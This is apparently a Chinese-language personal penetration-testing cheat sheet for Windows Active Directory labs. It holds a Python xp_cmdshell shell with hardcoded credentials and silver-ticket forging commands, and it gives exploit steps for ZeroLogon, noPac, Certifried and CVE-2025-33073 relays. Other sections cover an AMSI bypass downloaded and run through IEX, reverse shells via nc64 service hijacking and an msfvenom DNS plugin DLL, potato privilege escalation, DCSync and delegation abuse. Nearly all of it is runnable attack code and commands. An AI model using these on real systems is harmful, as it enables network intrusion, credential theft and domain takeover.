                Console.WriteLine("\nsuse like mssqlclient(Enter 'exit' quit)：");
                userQuery = Console.ReadLine();

                // 检查用户输入是否为空
                if (string.IsNullOrWhiteSpace(userQuery))
                {
                    Console.WriteLine("The query statement cannot be empty");
                    continue;
                }

                if (userQuery.ToLower() == "exit")
                {
                    break;
                }

                ExecuteQuery(con, userQuery, "Query Result");
            }
        }

        // 显示帮助信息
        static void ShowHelp()
        {
            Console.WriteLine("Usage: mssql.exe --server <sqlServerAddress> --noshell-file <filePath>");
            Console.WriteLine("Options:");
            Console.WriteLine("  --server=<serverAddress>    Target SQL server address");
            Console.WriteLine("  --noshell-file=<filePath>   Path to the file containing SQL commands to execute");
            Console.WriteLine("  -h, --help                  Display this help message");
            Console.WriteLine("Example:");
            Console.WriteLine("  mssql.exe --server 127.0.0.1 --noshell-file test.txt");
        }
    }
}

交互shell使用方式

mssql.exe --server=127.0.0.1 or mssql.exe --server=dc.corp.com

非交互shell使用方式

mssql.exe --server=127.0.0.1 --noshell-file=test.txt

test.txt内容为逐行输入的数据库命令

mssql_shell_python3(py实现的cmdshell)

#!/usr/bin/env python
from __future__ import print_function
# Author: Alamot
# Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
# To upload a file, type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt C:\temp\myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512).
try:
    import _mssql
except:
    from pymssql import _mssql
import base64
import shlex
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass


MSSQL_SERVER="10.13.38.11"
MSSQL_USERNAME = "WA"
MSSQL_PASSWORD = "qwe123QWE!@#"
BUFFER_SIZE = 5*1024
TIMEOUT = 30


def process_result(mssql):
    username = ""
    computername = ""
    cwd = ""
    rows = list(mssql)
    for row in rows[:-3]:
        columns = list(row)
        if row[columns[-1]]:
            print(row[columns[-1]])
        else:
            print()
    if len(rows) >= 3:
        (username, computername) = rows[-3][list(rows[-3])[-1]].split('|')
        cwd = rows[-2][list(rows[-3])[-1]]
    return (username.rstrip(), computername.rstrip(), cwd.rstrip())


def upload(mssql, stored_cwd, local_path, remote_path):
    print("Uploading "+local_path+" to "+remote_path)
    cmd = 'type nul > "' + remote_path + '.b64"'
    mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")

    with open(local_path, 'rb') as f:
        data = f.read()
        md5sum = hashlib.md5(data).hexdigest()
        b64enc_data = base64.b64encode(data).decode()  # 修复这里
        
    print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
    for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
        cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        #print("Remaining: "+str(len(b64enc_data)-i))

    cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    process_result(mssql)
    cmd = 'certutil -hashfile "' + remote_path + '" MD5'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    if md5sum in [row[list(row)[-1]].strip() for row in mssql if row[list(row)[-1]]]:
        print("MD5 hashes match: " + md5sum)
    else:
        print("ERROR! MD5 hashes do NOT match!")


def shell():
    mssql = None
    stored_cwd = None
    try:
        mssql = _mssql.connect(server=MSSQL_SERVER, user=MSSQL_USERNAME, password=MSSQL_PASSWORD)
        print("Successful login: "+MSSQL_USERNAME+"@"+MSSQL_SERVER)

        print("Trying to enable xp_cmdshell ...")
        mssql.execute_query("EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell',1;RECONFIGURE")

        cmd = 'echo %username%^|%COMPUTERNAME% & cd'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        (username, computername, cwd) = process_result(mssql)
        stored_cwd = cwd
        
        while True:
            cmd = input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
            if not cmd:
                cmd = "call" # Dummy cmd command
            if cmd.lower()[0:4] == "exit":
                mssql.close()
                return
            elif cmd[0:6] == "UPLOAD":
                upload_cmd = shlex.split(cmd, posix=False)
                if len(upload_cmd) < 3:
                    upload(mssql, stored_cwd, upload_cmd[1], stored_cwd+"\\"+upload_cmd[1])
                else:
                    upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
                cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
            mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
            (username, computername, cwd) = process_result(mssql)
            stored_cwd = cwd
            
    except _mssql.MssqlDatabaseException as e:
        if  e.severity <= 16:
            print("MSSQL failed: "+str(e))
        else:
            raise
    finally:
        if mssql:
            mssql.close()


shell()
sys.exit()

mssql白银票据-impacket

如果我们搞定了数据库服务账号hash，我们就可以伪造白银票据

首先获取服务账号ntlmhash以及域sid

如果有密码可以直接用下面命令转换为ntlm
iconv -f ASCII -t UTF-16LE <(printf "password") | openssl dgst -md4
用getPac获取域sid(域用户即可)
impacket-getPac -targetUser administrator $domain/$user:$pass

之后伪造票据,注意白银票据无需同步时间或者目标88口开放

impacket-ticketer -spn MSSQLSvc/$target -user-id 500 Administrator -nthash <nt-hash> -domain-sid <sid> -domain $domain

## 注意这里是可以随意伪造的，不一定需要伪造成管理员，同时也具备-groups参数允许伪装组
## 比如这里我们可以直接伪装成所有组
## impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid $sid -domain $domain -spn MSSQLSvc/$fqdn -groups 512,519,1105 -user-id 1103 mssqlsvc
# 我们用这个票据连接会获得一个直接是

导入票据

export KRB5CCNAME=Administrator.ccache

最后连接

impacket-mssqlclient -no-pass -k $domain/Administrator@$FQDN

伪造域组获得高权限

白银票据是可以随意伪造的，不一定需要伪造成管理员，同时也具备-groups参数允许伪装组

比如这里我们可以直接伪装成某个并不是这个组的其他用户属于这个组

impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid $sid -domain $domain -spn MSSQLSvc/$fqdn -groups 512,519,1105 -user-id 1103 mssqlsvc

用这个伪装的服务账户我们会同时在数据库中获得域管组（512），企业管理员组（519）.以及特殊的其他组（1105）

虽然连接进去就算反弹shell也是服务账户的权限，但是可以以其组权限进行文件读取

SELECT BulkColumn FROM OPENROWSET (BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS MyFile;

Oracle相关

odat利用

查看是否允许sysadm登陆，并筛查当前环境

odat all -s $ip  -n $database   -U $user   -P $pass --sysdba

是否允许执行命令

odat externaltable -s $ip  -n $database   -U $user   -P $pass --sysdba --test-module

如果允许，可以执行命令，建议不要过长

odat dbmsscheduler -s $ip  -n $database   -U $user   -P $pass --sysdba --exec 'net user wackymaker wack1234! /add'

域历史漏洞或者中继（cve）

Certifried(CVE-2022-26923)证书漏洞

要求

需要一个已经掌握的域用户，并且允许创建机器用户

需要2022年左右的adcs，检测是否存在逻辑如下

certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'User'

如果 Certipy 不打印Certificate object SID is […]获得证书后,就可以进行攻击。

攻击命令

创建机器用户,certipt会提供创建用户的密码

certipy account create -u $user -hashes $hash -user "wack" -dc-ip $dc_ip  -dns $dns_fqdn

注册dc机器证书

certipy -debug req \
-u 'wack$@xiaorang.lab' \
-p 'IjPxvp5AkgngsiNT' \
-ca $ca_fqdn \
-dc-ip $dc_ip \
-template 'Machine' \
-target $ca_ip

此证书可用于dc机器用户身份认证，后续思路是直接认证dc用户hash或者传递证书进行rbcd

nopac漏洞

要求

必须同时存在以下两个漏洞：

CVE‑2021‑42278

DC 对不存在的计算机账户名处理不严

CVE‑2021‑42287

TGS 校验 sAMAccountName 与 SID 不一致

检测命令

nxc smb  $ip -u "$user" -p "$pass" -M nopac

攻击命令

使用工具

https://github.com/Ridter/noPac

Cross Session Relay 跨会话中继

当存在其他用户登陆会话后，可以尝试打跨会话中继获得登陆会话的用户hash

要求

无要求，需要确认存在用户登陆会话，最好还要确定目标防火墙规则

RemotePotato0.exe

https://github.com/antonioCoco/RemotePotato0/releases

首先利用socat转发kali本地135流量到目标机器的9999端口，主要是触发的是rpc服务，而一般windows的135已被占用无法监听，我们相当于需要换一个端口监听

sudo ./socat-lin64.bin -v TCP-LISTEN:135,fork,reuseaddr TCP:$目标ip:9999

之后利用RemotePotato0滥用 DCOM 激活服务，并触发当前在目标计算机中登录的任何用户的 NTLM 身份验证。

.\RemotePotato0.exe -m 2 -s 1 -x $soca部署ip -p 9999
#命令解释
-m 2 模式2（“Rpc 捕获（哈希）服务器 + 土豆触发器”）
-s 1 - 要定位的用户的会话
-x 设定发送验证服务器
-p 监听端口

如果防火墙不允许，请不要使用9999

krbRelay(域用户提升域管理)

要求

1，具备域用户 2，没有 2022 年 10 月的补丁 3，必须禁用 LDAP 签名（这是 Windows 的默认设置）。检查ldap签名可以利用nxc

nxc ldap $ip -u $user -p $pass -M ldap-checker

攻击流程

https://github.com/cube0x0/KrbRelay
这个地址本地编译CheckPort.exe以及KrbRelay.exe

1，首先在目标运行checkport检测可使用端口,举例如下

*Evil-WinRM* PS C:\programdata> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10

2，查找可用 CLSID

cmd /c ver
使用上面的命令查找出版本后在这里查找对应可用clsid，https://github.com/cube0x0/KrbRelay#clsids
这里我举例为win10的354ff91b-5e49-4bdc-a8e6-1cb6c6877182

3，利用工具自动获取域管权限并且设置我方控制用户提升至域管，需要利用runas脱离evil-winrm非交互限制，rdp的话直接执行命令即可

.\RunasCs.exe $user $pass -d $domain -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember administrators winrm_user"
这里我举例为将winrm_user添加进入管理员组

CVE-2025-24071（压缩包解压触发ntlm回调）

条件

1，确保目标没有25之后的更新补丁 2，能发送压缩包到目标机器并确保存在解压行为

攻击流程

exp
https://github.com/0x6rss/CVE-2025-24071_PoC

使用

>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

生成后传递，并监听

sudo responder -I $网卡 -v

CVE-2025-33073（基于dns服务错误导致ntlmrelay）

条件

1，没有 2025 年 6 月的补丁 2，目标没有开启smb签名（dc默认开启，所以目标是域内普通windows） 3，掌控一个普通域用户（需要改dns的权柄，普通域用户自带）

攻击流程

exp

https://github.com/mverschu/CVE-2025-33073

一句命令攻击

python3 CVE-2025-33073.py -u $domain\$user -p $pass --attacker-ip $kali_ip --dns-ip $dns_ip --dc-fqdn $DC_FQDN --target $TARGET_FQDN --target-ip $TARGET_IP

成功的话会获取target的机器用户hash，并且获取此机器所有本地用户hash（sam）

实操小提示

如果发现ca存在esc8，并且33073可用，则可进行组合利用，具体操作搜索本笔记esc8

跨协议中继（衍生用法允许直接攻击dc）

当发现目标环境没有25年1月左右的更新，或者说存在33073漏洞时，我们可以利用跨协议中继直接攻击dc

因为smb协议存在签名认证，但其他的不存在，所以我们那dc的winrm来举例

首先对dc添加33073特有的dns解析为kali

python3 dnstool.py -u '$domain\$user' -p '$pass' $ip --action add -r $hostname1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d $kali_ip

利用ntlmrelay中继目标为dc的winrm（或者winrms）

impacket-ntlmrelayx -debug -smb2support --target winrm://$ip

另一边用nxc查找允许coerce

nxc smb $ip -u $user -p $pass -M coerce_plus

触发中继

nxc smb $ip -u $user -p $pass -M coerce_plus -o ='$hostname1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' METHOD=DFSCoerce

触发成功后会在ntlmrelay处看到中继成功，使用nc连接本地的11000端口获得dc的system权限

CVE-2020-1472 （ZeroLogon零登陆，强行使计算机用户密码为零字节，并且打dcsync）

请注意，默认情况下，这会更改域控制器帐户的密码。是的，这允许您使用 DCSync，但它也会中断与其他域控制器的通信，因此请小心！

条件

1，需得知dc位置并且获取其ip以及hostname 2，确保目标没有2020年之后的补丁

攻击流程

使用poc

https://github.com/dirkjanm/CVE-2020-1472

先利用poc更改$dc密码

python /opt/CVE-2020-1472/cve-2020-1472-exploit.py dc_name $ip

直接空密码打dcsync

impacket-secretsdump -no-pass -just-dc dc_name\$@$ip

CVE-2024-_30088（windows内核条件竞争提权）

提权因为需要条件竞争，所以需要耐心等待一会.但是超过半小时则失效，msf有poc但是有时候会打不通，所以可以使用这个工具。

https://github.com/Zombie-Kaiser/CVE-2024-30088-Windows-poc

条件

1，需要目标环境shell权限 2，确保目标没有2024年6月之后的补丁，目标为windows11及以下的全系列包括至少2022server

没什么好说的，直接poc执行即可，使用链接poc需要修改软指定，需要个木马落地

amsi绕过

osep-amsi

ps1或者txt源码

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

投放

(new-object system.net.webclient).downloadstring('http://192.168.119.120/amsi.txt') | IEX

runascs使用

受限登陆用户反弹shell

可以使用runascs绕过

.\RunasCS.exe $user $pass powershell.exe -r $kali_ip:$port

会使用powershell弹回来一个shell

脱离非交互限制（evil-winrm）

.\RunasCs.exe $user $pass -d $domain -l 9 "command"

powershell语法

定义用户凭证并使用

$pass = ConvertTo-SecureString 'M1XyC9pW7qT5Vn' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList "voleur.htb\svc_ldap", $pass

使用用户凭证远程执行命令

invoke-command -computername $comp_name -scriptblock { dir C:\windows\tasks } -credential $cred

使用用户凭证本地执行命令

Start-Process powershell.exe -ArgumentList '-NoExit', '-Command', 'whoami /all' -Credential $cred

如果上两个执行命令的权限不够，就意味着没有执行shell命令的远程权限，但是一般利用-Credential $cred直接执行powershell指令或者ps1脚本中的函数都是可以直接执行的

并且可以直接打revershell绕过一些无法登陆的情况获得shell

powershell -ExecutionPolicy Bypass -File .\shell.ps1 -credential $cred

远程下载文件

cmd /c powershell -c "Invoke-WebRequest -Uri 'https://192.168.234.171/config.xml' -OutFile 'C:\Temp\config.xml'"

远程powerview.py以及常用powerview语法

安装

sudo apt install libkrb5-dev
pipx install "git+https://github.com/aniqfakhrul/powerview.py"

使用

powerview $domain/$user1:$pass@$ip

本地特权利用

我只做打靶机或者本地测试完毕的记录，但这篇很厉害，如果我的不全可以去这里找

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8

SeRestorePrivilege

要求需要桌面级操作，可提升至system

ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

执行完毕以上操作后，退出登陆，锁定用户之后，五下shift，会弹出cmd.exe，并且权限为system

SeBackupPrivilege

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L495

mimikatz抓取本地sam以及system

lsadump::sam /sam:SamBkup.hiv /system:SystemBkup.hiv

注册表抓取本地sam以及system

reg save hklm\sam C:\SAM
reg save hklm\system C:\SYSTEM

之后解密

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

缺点是只能获取本地账户

卷影复制器

diskshadow.exe这玩意需要注意两点
1，sever会自己装，其他版本需要自己装
2，使用交互shell交互，所以需要写脚本利用
先确认是否启动

Get-Service VSS

之后本地制作脚本（可写目录下制作,注意需要vss可写，所以一般在C:\Users\users\AppData\Local\Temp目录）

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

之后利用卷影复制器执行，让 diskshadow.exe 给 C 盘创建一个副本，然后为其分配盘符 Z 并使其可用（使其可作为驱动器访问）

diskshadow.exe /s C:\Users\svc-printer\Documents\diskshadow.txt

将创建在z盘的内容提取

robocopy /B Z:\Windows\NTDS . ntds.dit
download ntds.dit
reg save hklm\system C:\SYSTEM
download SYSTEM

本地解密

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

nxc远程抓所有信息(一般用这个即可)

nxc smb $ip -u $user -p $pass -M backup_operator

BackupOperatorToDA抓取所有信息

工具地址

https://github.com/mpgn/BackupOperatorToDA?tab=readme-ov-file

使用

. \BackupOperatorToDA.exe -t 127.0.0.1 —u $user —p $pass —d $domain —o $可写目录

允许可解析远程利用

impacket包远程抓取

一般不建议使用，system文件过大，远程抓取流量太大并且脚本容易失效，所以有两种方式

开启smb远程转存

开smb服务器

impacket-smbserver x 1 -smb2support

利用reg获取全部信息

impacket-reg $user:$pass@$ip backup -p "\\$kali_ip\x"

转存到目标可读smb目录，利用smb获取

impacket-reg $user:$pass@$ip backup -o 'C:\Windows\SYSVOL\sysvol'

接下俩读取

impacket-smbclient $user:$pass@$ip

#use sysvol
# ls
drw-rw-rw-          0  Wed May 15 15:29:50 2024 .
drw-rw-rw-          0  Wed May 15 15:24:48 2024 ..
drw-rw-rw-          0  Thu Oct 20 16:03:21 2022 internal.zsm.local
-rw-rw-rw-      28672  Wed May 15 15:29:41 2024 SAM.save
-rw-rw-rw-      32768  Wed May 15 15:29:50 2024 SECURITY.save
-rw-rw-rw-   13684736  Wed May 15 15:29:46 2024 SYSTEM.save

# mget *.save
[*] Downloading SAM.save
[*] Downloading SECURITY.save
[*] Downloading SYSTEM.save

本地解密

impacket-secretsdump -system SYSTEM -sam SAM -security SECURITY local

这里只能抓取到目标的本地计算机用户hash，但是可以抓到机器用户hash让我们去打dcsync

$MACHINE.ACC
#这种就是当前机器的计算机用户hash

SeImpersonatePrivilege

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L327

身份验证后模拟客户端(Impersonatea client after authentication)

拥有该权限的进程能够模拟已有的token，但不能创建新的token

以下用户拥有该权限

本地管理员组成员和本地服务帐户
由服务控制管理器启动的服务
由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器

土豆家族

一般的服务账户都会自带，直接打土豆提权

PrintSpoofer64（Windows 10 和 Server 2016/2019）

https://github.com/itm4n/PrintSpoofer

上传
curl http://10.10.16.20/PrintSpoofer64.exe -o PrintSpoofer64.exe
执行
.\PrintSpoofer64.exe -i -c cmd

JuicyPotatoNG（目前还能用，但是不稳定）

https://github.com/antonioCoco/JuicyPotatoNG

上传
curl http://10.10.16.20/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
之后指定载荷执行
C:\\programdata\\jp.exe -t * -p C:\\programdata\\rev.bat

GodPotato（WindowsServer2012-WindowsServer2022 Windows8-Windows11）

https://github.com/BeichenDream/GodPotato

下载
curl http://10.10.16.20/GodPotato-NET4.exe -o GodPotato-NET4.exe
执行木马或者命令
.\GodPotato-NET4.exe  -cmd "cmd /c whoami"

deadpotato

https://github.com/lypd0/DeadPotato

EfsPotato

https://github.com/zcgonvh/EfsPotato

需要自行编译

.\EfsPotato.exe "command"

附记服务账户关闭特权强行开启

有时候我们登陆本地服务账户可能会发现特权被关闭

SHELL> whoami /all

USER INFORMATION
----------------

User Name                  SID     
========================== ========
nt authority\local service S-1-5-19
Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

我们能用这个工具强行打开

https://github.com/itm4n/FullPowers

直接执行

.\EfsPotato.exe "远程载荷或者反弹shell"

弹回来的shell就全开权限了

注意，此功能只只能对nt authority\local service用户其效果，如果发现常规服务没有模拟权限，应该是开启了windows服务强化最小权限划分，这个低等权限是没法开启的

SeEnableDelegationPrivilege

允许我们创建两种在我们掌控机器上的委派类型

创建无约束委派

要求：允许创建机器用户，允许添加dns记录，必须使用我们创建的机器，不然dns配置无效使用工具：krbrelayx BloodyAD Impacket

k工具地址

https://github.com/dirkjanm/krbrelayx#

检测权限

nxc ldap $ip -u $user -p $pass -M maq

首先创建机器用户

impacket-addcomputer -computer-name FS01 -computer-pass 'wackwack1$' -dc-ip $ip $domain/$user:$pass

添加dns记录

# 这里有两个要点，1需要在hosts配置dc的fqdn，2尽量使用完整参数，不要使用变量，我这个是演示原因
python3 dnstool.py -u $DOMAIN\"FS01$" -p 'wackwack1$' --action add --record FS01.$domain --data $kali_ip --type A -dns-ip $DC_ip $DC_FQDN

为这个机器用户添加spn（重要，否则spn无法查询）

python3 addspn.py -u $DOMAIN\"FS01$" -p 'wackwack1$' -s 'cifs/FS01.$domain' -t FS01$ -dns-ip $DC_ip $DC_FQDN

# 也可以多追加几个，防止查询失败--additional参数指定追加

python3 addspn.py -u $DOMAIN\"FS01$" -p 'wackwack1$' -s 'cifs/FS01.$domain' -t FS01$ -dns-ip $DC_ip $DC_FQDN --additional

使用bloodyad配置无约束委派

bloodyAD -d $domain -u $user -p $pass --host $fqdn add uac 'FS01$' -f TRUSTED_FOR_DELEGATION

或者也可以使用powershell配置无约束

Set-ADAccountControl -Identity FS01$ -TrustedForDelegation $true
Get-ADComputer -Identity FS01$ -Properties TrustedForDelegation

启动中继监听

python3 krbrelayx.py --krbsalt '$domain+$user' --krbpass 'wackwack1$' --interface-ip $kali_ip
# 这里使用的用户名比较反人类，照我下面例子即可
python3 krbrelayx.py --krbsalt 'DELEGATEFS01' --krbpass 'wackwack1$' --interface-ip 10.10.16.23

使用nxc查询强制身份验证的可用模式

nxc smb $ip -u $user -p $pass -M coerce_plus

哪个可用选哪个，这里使用PrinterBug作为触发中继示例

nxc smb $ip -u "FS01$" -p 'wackwack1$' -M coerce_plus -o LISTENER=FS01.$domain METHOD=PrinterBug

一切正常的情况下中继处会有回显，并且截获dc的tgt

创建约束委派

我还没有时间去研究远程打法（bloodyady一定能做到），所以目前先记录winrm命令打法

要求：允许创建机器用户或者已经存在一个我们完全掌握的机器使用工具：winrm,nxc

首先创建机器用户或者修改以拥有机器用户的密码

impacket-addcomputer -computer-name FS01 -computer-pass WACKmaker!1 -dc-ip $ip $domain/$user:$pass

在winrm上创建约束委派，配置fs01对dc的ldap约束委派

# 配置约束委派启用
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
# 指定委派目标服务
Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=$DOMAIN,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/$dc_FQDN"}

之后正常打约束委派

sudo ntpdate $ip
impacket-getTGT $domain/$user:$pass -dc-ip $ip
export KRB5CCNAME=FS01\$.ccache 
impacket-getST -spn ldap/$dc_FQDN -impersonate dc $domain/$user -k -no-pass -dc-ip $ip
KRB5CCNAME=dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache nxc smb $ip --use-kcache --ntds --user Administrator

高权限组利用

Windows 2000 Compatible Access（Windows 2000 之前兼容的访问组）

虽然名字邮电长，但他确实是默认组，用于在 Windows 2000 之前兼容权限

对我们渗透来说它有一个非常有趣的点，如果这个组里机器用户是FS01$，则它的计算机密码可能是fs01

Server Operators (服务管理)

该组允许修改，启动和停止服务

首先准备nc或者木马

先侦测是否存在可利用服务,这里我选择卷影复制器

sc.exe qc vss

为了防止杀软拦截，也可以使用共享目录挂载

在确定服务存在后（不存在就换一个）上传后将服务修改为木马路径

sc.exe config VSS binpath="C:\programdata\nc64.exe -e cmd 10.10.14.6 443"

之后重启服务

sc.exe stop VSS
sc.exe start VSS

注意用nc回弹的shell会非常短暂，在系统认为出错的时候就会断，可以将nc换为可进程迁移的木马执行

DnsAdmin （dns管理）

首先确定存不存在利用工具

命令：for /r c:\ %i in (dnscmd.*) do @echo %i

没有的话按照步骤

下载https://github.com/3gstudent/test/blob/master/dnscmd.exe
放置C:\Windows\System32
下载https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui
放置C:\Windows\System32\en-US

本地生成dll载荷，最好是简单一点的revershell，防止一些乱七八糟的载荷问题

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.20 LPORT=443 -f dll -o rev.dll

同目录起smb服务

impacket-smbserver s .

在目标机器上指定dns插件我们的恶意dll

dnscmd.exe /config /serverlevelplugindll \\192.168.174.129\rev.dll
dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll

重启服务接受shell

sc.exe \\$hostname stop dns
sc.exe \\$hostname start dns

如果不具备服务重启权限的话，可以利用工具直接重启

dnscmd.exe 127.0.0.1 /restart

注意

2021年更新后的ad无法使用，微软对这一功能进行了加固：

ServerLevelPluginDll 参数已被移到受保护的注册表位置（HKLM\SYSTEM\CurrentControlSet\Services\DNS\InternalParameters）。只有完全管理员（如 Domain Admins 或 DNS 服务器本地的 Administrators）才能修改它。

AD Recycle （ad回收）

先查询是否存在已回收高敏感权限

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

之后获取已经回收的用户所有信息

get-adobject -filter 'isdeleted -eq $true -and ObjectClass -eq "user"' -includedeletedobjects -property *
#注意这里的user不允许替换成实际用户名，是死参数

如果有信息，可以尝试恢复用户，使用参数是guid

Restore-ADObject -Identity 'ic6b1deb-c372-4cbb-87b1-15031de169db'
#如果提示名字已被占用，可以使用-newname参数重新起名
Restore-adobject -identity 'ebe15df5-e265-45ec-b7fc-359877217138' -newname wackymaker

RESTORE_USERS（备份还原操作组）

理论上和ad回收组区别不大，该组可以查看回收站是否开启，没开启就不用看了

Get-ADOptionalFeature -Filter {Name -like "*Recycle*"}

看到回显有Recycle Bin Feature则是开启，可以看看回收站是否存在已经删除的用户

Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects

恢复用户

Restore-ADObject -Identity 'ic6b1deb-c372-4cbb-87b1-15031de169db'
#如果提示名字已被占用，可以使用-newname参数重新起名
Restore-adobject -identity 'ebe15df5-e265-45ec-b7fc-359877217138' -newname wackymaker

这里-Identity参数指向删除用户的ObjectGUID

Exchange Windows Permissions（Exchange Windows权限）

获取到这个高权限对于域来说是毁灭性打击因为其具备writedacl权限

最简单的打法就是将我们的用户直接在本地写入dcsync权限

powerview本地

先上传powerview并加载
之后修改以下参数执行
$username = "$<只要域名不要后缀的domain，例如baidu.com就只填baidu>\$user"; $password = "$pass"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity '$user' -TargetIdentity '$domain\Domain Admins' -Rights DCSync

bloodyad远程

bloodyAD --host $ip -u $user -p $pass -d bloody add dcsync $user

之后直接打dcsync

impacket-secretsdump $user:$pass@$ip

Account Operators(账户操作员)

该组允许我们创建任意账户，并添加到大部分组当中，所以我们可以将用户添加进入域管

本地创建用户-powershell

New-AdUser $username -enabled $true -accountpassword $newpass

本地添加-powershell

net group "Domain Admins" user-name /add /domain

本地添加-powerview

Add-DomainGroupMember -Identity '$group' -Members '$user'

远程添加

bloodyAD --host "$ip" -d "$domain" -u "$user" -p "$pass" add groupMember "DEVELOPERS" "$user"

如果没有权限添加入管理员组，则可以直接打rbcd，此组用户默认对域控以外的域内计算机也是全部权限

LAPS_Readers（laps读取者）

很易于理解。能读取laps 本地请求

Get-ADComputer <电脑名称> -property 'ms-mcs-admpwd'

远程nxc

nxc smb $ip -u $user -p $pass --laps

委派

无约束

rubeus

dir \\cdc01\pipe\spoolss

Rubeus.exe monitor /interval:1 /nowrap /targetuser:CDC01$

.\SpoolSample.exe CDC01 APPSRV01

Rubeus.exe ptt /ticket:doIFIjCCBR.......

nxc加krbrelayx

只做简要记录，以下操作不适用于已经创建好的实体无约束委派，具体创建可以到本地特权模块查看，以下内容以后会进行修改

启用krbrelayx来指定中继，注意这里需要我们配置无约束委派机器用户的hash，可以转一下

iconv -f ASCII -t UTF-16LE <(printf "WACKmaker!1") | openssl dgst -md4

启动中继监听

uv run /opt/krbrelayx/krbrelayx.py -hashes :$hash_machine

使用nxc查询强制身份验证的可用模式

netexec smb $ip -u $user -p $pass -M coerce_plus

哪个可用选哪个，这里使用PrinterBug作为触发中继示例

netexec smb $ip -u "FS01$" -p 'WACKmaker!1' -M coerce_plus -o LISTENER=FS01.$domain METHOD=PrinterBug

一切正常的情况下中继处会有回显，并且截获dc的tgt,之后直接打dcsync

约束

可转发情况

rubeus

为可以约束委派的用户请求tgt

密码

.\Rubeus.exe asktgt /user:$user /password:$pass /domain:$domain /nowrap

hash

.\Rubeus.exe asktgt /user:$user /rc4:$hash /domain:$domain /nowrap

利用这个票据去请求管理员或者dc机器用户的票据并注入内存

.\Rubeus.exe s4u /ticket:$ticket /msdsspn:cifs/dc.$domain /impersonateuser:$target_or_admin /domain:$domain /ptt
##解释
s4u	使用 S4U（Service for User）攻击模块，结合 S4U2Self + S4U2Proxy
/ticket:ticket.kirbi	提供用于身份的 TGT 票据（由约束委派用户如 blake 获取）
